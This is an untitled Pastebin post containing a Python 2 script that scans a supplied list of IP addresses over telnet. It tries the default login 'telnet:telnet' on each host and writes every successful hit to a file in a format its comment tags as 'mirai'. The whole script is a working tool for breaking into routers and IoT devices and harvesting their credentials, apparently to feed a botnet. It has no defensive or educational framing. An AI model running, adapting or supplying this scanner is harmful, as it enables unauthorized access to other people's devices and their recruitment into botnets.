Advertisement
Guest User

Untitled

a guest
May 19th, 2019
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.57 KB | None | 0 0
  1. import threading
  2. import sys, os, re, time, socket
  3. from Queue import *
  4. from sys import stdout
  5.  
  6. if len(sys.argv) < 4:
  7. print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  8. sys.exit()
  9.  
  10. combo = [
  11. "telnet:telnet"
  12.  
  13. ]
  14.  
  15. ips = open(sys.argv[1], "r").readlines()
  16. threads = int(sys.argv[2])
  17. output_file = sys.argv[3]
  18. queue = Queue()
  19. queue_count = 0
  20.  
  21. for ip in ips:
  22. queue_count += 1
  23. stdout.write("\r[%d] Added to queue" % queue_count)
  24. stdout.flush()
  25. queue.put(ip)
  26. print "\n"
  27.  
  28.  
  29. class router(threading.Thread):
  30. def __init__ (self, ip):
  31. threading.Thread.__init__(self)
  32. self.ip = str(ip).rstrip('\n')
  33. def run(self):
  34. username = ""
  35. password = ""
  36. for passwd in combo:
  37. if ":n/a" in passwd:
  38. password=""
  39. else:
  40. password=passwd.split(":")[1]
  41. if "n/a:" in passwd:
  42. username=""
  43. else:
  44. username=passwd.split(":")[0]
  45. try:
  46. tn = socket.socket()
  47. tn.settimeout(8)
  48. tn.connect((self.ip,23))
  49. except Exception:
  50. tn.close()
  51. break
  52. try:
  53. hoho = ''
  54. hoho += readUntil(tn, "ogin:")
  55. if "ogin" in hoho:
  56. tn.send(username + "\n")
  57. time.sleep(0.09)
  58. except Exception:
  59. tn.close()
  60. try:
  61. hoho = ''
  62. hoho += readUntil(tn, "assword:")
  63. if "assword" in hoho:
  64. tn.send(password + "\n")
  65. time.sleep(0.8)
  66. else:
  67. pass
  68. except Exception:
  69. tn.close()
  70. try:
  71. prompt = ''
  72. prompt += tn.recv(40960)
  73. if ">" in prompt and "ONT" not in prompt:
  74. success = True
  75. elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  76. success = True
  77. else:
  78. tn.close()
  79. if success == True:
  80. try:
  81. os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  82. print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  83. tn.close()
  84. break
  85. except:
  86. tn.close()
  87. else:
  88. tn.close()
  89. except Exception:
  90. tn.close()
  91.  
  92. def readUntil(tn, string, timeout=8):
  93. buf = ''
  94. start_time = time.time()
  95. while time.time() - start_time < timeout:
  96. buf += tn.recv(1024)
  97. time.sleep(0.01)
  98. if string in buf: return buf
  99. raise Exception('TIMEOUT!')
  100.  
  101. def worker():
  102. try:
  103. while True:
  104. try:
  105. IP = queue.get()
  106. thread = router(IP)
  107. thread.start()
  108. queue.task_done()
  109. time.sleep(0.01)
  110. except:
  111. pass
  112. except:
  113. pass
  114.  
  115. for l in xrange(threads):
  116. try:
  117. t = threading.Thread(target=worker)
  118. t.start()
  119. except:
  120. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement